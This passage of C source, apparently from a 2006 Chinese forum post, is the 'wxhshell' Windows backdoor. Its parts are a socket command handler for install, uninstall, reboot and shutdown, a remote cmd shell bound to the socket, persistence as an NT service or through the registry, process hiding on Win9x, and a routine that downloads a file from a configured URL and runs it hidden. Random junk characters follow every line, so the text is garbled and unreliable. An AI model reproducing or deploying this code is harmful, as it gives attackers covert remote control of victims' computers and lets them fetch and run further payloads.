  } U DC>iHt  
  else { q4rDAQyPO  
:&oUI&(o  
    switch(cmd[0]) { Lv{xwHnE  
  e;/C}sK:  
  // 帮助 IAJYD/Y&?  
  case '?': { A->y#KQ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 'F[ C 4  
    break; }&mFpc  
  } ef;Ta|#  
  // 安装 ttK`*Ng  
  case 'i': { BLvI[b|3gn  
    if(Install()) 4Dd7 I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fx783  
    else k-LT'>CWl  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M"t=0[0DM:  
    break; ?9 8]\pI  
    } Dxwv\+7]  
  // 卸载 0y3<Ho,+$  
  case 'r': { !tNJLOYf  
    if(Uninstall()) Fc"&lk4e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %$l^C!qcY  
    else -Jtx9P  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G2,r %|7ta  
    break; Ph&fOj=pFb  
    } Sp]i~#q_'  
  // 显示 wxhshell 所在路径 P;dp>jL  
  case 'p': { Q#i^<WUpg  
    char svExeFile[MAX_PATH]; _x.D< n=X  
    strcpy(svExeFile,"\n\r"); g}-Ch#  
      strcat(svExeFile,ExeFile); P"g Y|}|  
        send(wsh,svExeFile,strlen(svExeFile),0); CY4_=  
    break; z]YP  
    } zTa>MzH1-;  
  // 重启 5w#*JK   
  case 'b': { '%m0@5|hCD  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7(<49bb.V  
    if(Boot(REBOOT)) =!#iC?I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0KF)+`CC>  
    else { ,ZYj8^gF  
    closesocket(wsh); #89h}mp'  
    ExitThread(0); Bn"r;pqWiT  
    } $nOd4{s_  
    break; F)0I7+lP  
    } a#0G mK  
  // 关机 Rro{A+[,X  
  case 'd': { yt&eY6Xp  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); QS~;C&1Hl  
    if(Boot(SHUTDOWN)) ')9%eBaeK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0)8QOTeT  
    else { ItTIU  
    closesocket(wsh); J L9d&7-  
    ExitThread(0); lbES9o5  
    } I@=h|GM  
    break; X'&$wQ6,K  
    } TgaDzF,j{A  
  // 获取shell / -=(51}E  
  case 's': { )r2$/QF9  
    CmdShell(wsh); _e.b #{=9  
    closesocket(wsh); (jD..qMs#  
    ExitThread(0); a.5s5g)8  
    break; /p [l(H  
  } 8j,_  
  // 退出 f/b }X3K  
  case 'x': {  :*M\z3`k  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;UgRm#  
    CloseIt(wsh); L-d8bA  
    break; c= 2e?  
    } oPNYCE  
  // 离开 y0qE::/H$  
  case 'q': { xae rMr  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); a{h(BI^~  
    closesocket(wsh); #^Dc:1,  
    WSACleanup(); SPV'0* Z  
    exit(1); j8os6I  
    break; Ar sMqb  
        } '3o0J\cz  
  } cLl fncI  
  } KrkZv$u,  
)).;p_nLZ  
  // 提示信息 1V`]sfRK  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fBH&AO$Q  
} skcMGEB  
  } x 0  
bIm$7a`T  
  return;  ZW2#'$b  
} b,a\`%m}  
^+[o +  
// shell模块句柄 2vnzB8 "k  
int CmdShell(SOCKET sock) FGx_ qBG4|  
{ 4Uf+t?U9  
STARTUPINFO si; e #^|NQ<'A  
ZeroMemory(&si,sizeof(si)); v%< _Mh  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; fC3IxlG  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; s/[i>`g/9  
PROCESS_INFORMATION ProcessInfo; ud:?~?j&w  
char cmdline[]="cmd"; =X X_C nn  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); V8Q#%#)FHe  
  return 0; 5?kA)!|UB  
} Wsz='@XvB  
pOI+  
// 自身启动模式 73~Mq7~8  
int StartFromService(void) }WGi9\9T&  
{ M{kPEl&Z  
typedef struct /&j4IlT  
{ Xs?7Whc6  
  DWORD ExitStatus; zF i+6I$  
  DWORD PebBaseAddress; TiBE9  
  DWORD AffinityMask; ;oFaDTX]  
  DWORD BasePriority; X}z KV  
  ULONG UniqueProcessId; <(p1 j0_Q  
  ULONG InheritedFromUniqueProcessId; l*Y~h3  
}   PROCESS_BASIC_INFORMATION; 0HD1Ob^@  
5,AQ~_,'\  
PROCNTQSIP NtQueryInformationProcess; _R(5?rG,  
0acY@_  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; N2&aU?`e  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Y0B*.H Ae  
C6"!'6 W  
  HANDLE             hProcess; _ z4rx  
  PROCESS_BASIC_INFORMATION pbi; nv$  
jPU# {Wo#  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); L7Oytdc<  
  if(NULL == hInst ) return 0; /#G"'U/  
{t/!a0\HS  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <M'IR f/D  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9_>4~!x`  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); iKabo,~  
Y(SI`Xo[  
  if (!NtQueryInformationProcess) return 0; qk,cp},2K  
qfYb\b  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <Z8] W1)  
  if(!hProcess) return 0; A[ iP s9  
6vaxp|D  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $g$`fR)  
3+|6])Hi1  
  CloseHandle(hProcess); uBE,z>/,;  
pV("NJj!  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); J$I1 *~I4v  
if(hProcess==NULL) return 0; `u>BtAx8  
@J<B^_+Se  
HMODULE hMod; mTP.W#N  
char procName[255]; [d&Faa[`  
unsigned long cbNeeded; Fcr@Un'  
fd,~Yj$R?  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); a+~o: 5  
lwg.'<  
  CloseHandle(hProcess); ;W+-x] O  
Z],"<[E  
if(strstr(procName,"services")) return 1; // 以服务启动 _5m }g!  
8&UuwZ6i-  
  return 0; // 注册表启动  <aHt6s'  
} =!CuCV7$1O  
2@&|hd=-  
// 主模块 nIi_4=Z  
int StartWxhshell(LPSTR lpCmdLine) QNJG}Upl  
{ #wjBMR%  
  SOCKET wsl; .FXQ,7mZ-  
BOOL val=TRUE; 654%X(:q  
  int port=0; ;Z`)*TRp4  
  struct sockaddr_in door; kTk?[BK  
H);'\]_'x  
  if(wscfg.ws_autoins) Install(); <C>i~ <`d  
/* O,T  
port=atoi(lpCmdLine); ;&!dD6N  
#] GM#.  
if(port<=0) port=wscfg.ws_port; UKJY.W!w4  
Q]7Q  
  WSADATA data; 2DC#PX)i  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `P5"5N\h  
.~U9*5d  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   l46F3C|  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0/gcSW b  
  door.sin_family = AF_INET; ;Pa(nUE@  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Km nr }Lp9  
  door.sin_port = htons(port); K?tk&0  
/< :; ^B  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { "QF083$  
closesocket(wsl); W^N"y &  
return 1; +i>q;=~  
} @ubz?5  
\fz j fZ1n  
  if(listen(wsl,2) == INVALID_SOCKET) { Yq^y"rw  
closesocket(wsl); Zb }PP;O  
return 1; g7P1]CZ}  
} |:#mw 1  
  Wxhshell(wsl); E nvs[YZe  
  WSACleanup(); 9>#|~P&FE  
JJ~?ON.H  
return 0; _)l %-*Z7p  
gCJ'wv)6|%  
} }gW}Vr <  
7asq]Y}<  
// 以NT服务方式启动 XJzXxhk2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ".)_kt[  
{ %yMzgk[u  
DWORD   status = 0; `-H:j:U{  
  DWORD   specificError = 0xfffffff; YzZF^q^I  
.HBvs=i  
  serviceStatus.dwServiceType     = SERVICE_WIN32; f$>orVm%.  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; m#nxw  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; cBI )?  
  serviceStatus.dwWin32ExitCode     = 0; %8L<KJd  
  serviceStatus.dwServiceSpecificExitCode = 0;  mb/[2y<  
  serviceStatus.dwCheckPoint       = 0; i4I0oRp  
  serviceStatus.dwWaitHint       = 0; MP,*W}@  
2jW>uk4/i  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {Pb^Lf >  
  if (hServiceStatusHandle==0) return; (OqJet2{+  
X4$e2f  
status = GetLastError(); [j? <9  
  if (status!=NO_ERROR) gHx-m2N  
{ x3s^u~C)(w  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Wn^^Q5U#  
    serviceStatus.dwCheckPoint       = 0; faq K D:  
    serviceStatus.dwWaitHint       = 0; %jxuH+L   
    serviceStatus.dwWin32ExitCode     = status; >D/~|`=p  
    serviceStatus.dwServiceSpecificExitCode = specificError; #& wgsGV8C  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); xiF%\#N  
    return; M: "ci;*$  
  } rl%Kn^JJ~  
9>R|k$`  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 6EU4  
  serviceStatus.dwCheckPoint       = 0; ' D&G~$  
  serviceStatus.dwWaitHint       = 0; Qm#i"jvV  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); v)yimIHzo  
} .dCP8|  
:6?&FzD`  
// 处理NT服务事件,比如:启动、停止 3- bcY4  
VOID WINAPI NTServiceHandler(DWORD fdwControl)  W6O.E  
{ U_- K6:tr  
switch(fdwControl) kkBU<L2  
{ 2Nkn C>9(\  
case SERVICE_CONTROL_STOP: @'*#]YU8  
  serviceStatus.dwWin32ExitCode = 0; CLfb`rF  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; $-]setdY  
  serviceStatus.dwCheckPoint   = 0; ^,K.)s  
  serviceStatus.dwWaitHint     = 0; 8uxFXQ  
  { Z]TVH8%|k  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]7t\%_  
  } z4641q5'm  
  return; 6B/"M-YME  
case SERVICE_CONTROL_PAUSE: 9Nu#&_2R  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; |V\.[F2Fe  
  break; xD# I&.  
case SERVICE_CONTROL_CONTINUE: o'7ju~0L  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; #L.}CzAz  
  break; !2| `aa  
case SERVICE_CONTROL_INTERROGATE: kA<r:/  
  break; 5vi#ItN}|  
}; 0juIkN#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )m8>w6"  
} pMp9 O/u%  
3Z:!o$  
// 标准应用程序主函数 htYrv5q=M  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -Y=c g;  
{ -0SuREn  
$pfe2(8  
// 获取操作系统版本 $Ds]\j*  
OsIsNt=GetOsVer(); 8.Ef5-m  
GetModuleFileName(NULL,ExeFile,MAX_PATH); j!MA]0lTM  
6r=)V$K <  
  // 从命令行安装 %]0U60  
  if(strpbrk(lpCmdLine,"iI")) Install(); #}7m'F  
b*F~%K^i$  
  // 下载执行文件 ~|{)h^]@  
if(wscfg.ws_downexe) { Vfm #UvA  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Jf<yTAm  
  WinExec(wscfg.ws_filenam,SW_HIDE); q>(u>z!  
} 7Y|>xx=v  
$a*Q).^  
if(!OsIsNt) { c9TAV,/fF*  
// 如果时win9x,隐藏进程并且设置为注册表启动 bNjaCK<  
HideProc(); fC GDL6E  
StartWxhshell(lpCmdLine); J5p!-N`NS  
} (vsk^3R[6  
else }0*ra37z>  
  if(StartFromService()) sq(Ar(L<  
  // 以服务方式启动 Usf"K*A  
  StartServiceCtrlDispatcher(DispatchTable); dh;MpE  
else 0 ,Qj:  
  // 普通方式启动 y?z_^ppj  
  StartWxhshell(lpCmdLine); e1^{  
Gx_`|I{P  
return 0; RrU~"P1C  
}
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只看该作者 1 发表于: 2006-10-10
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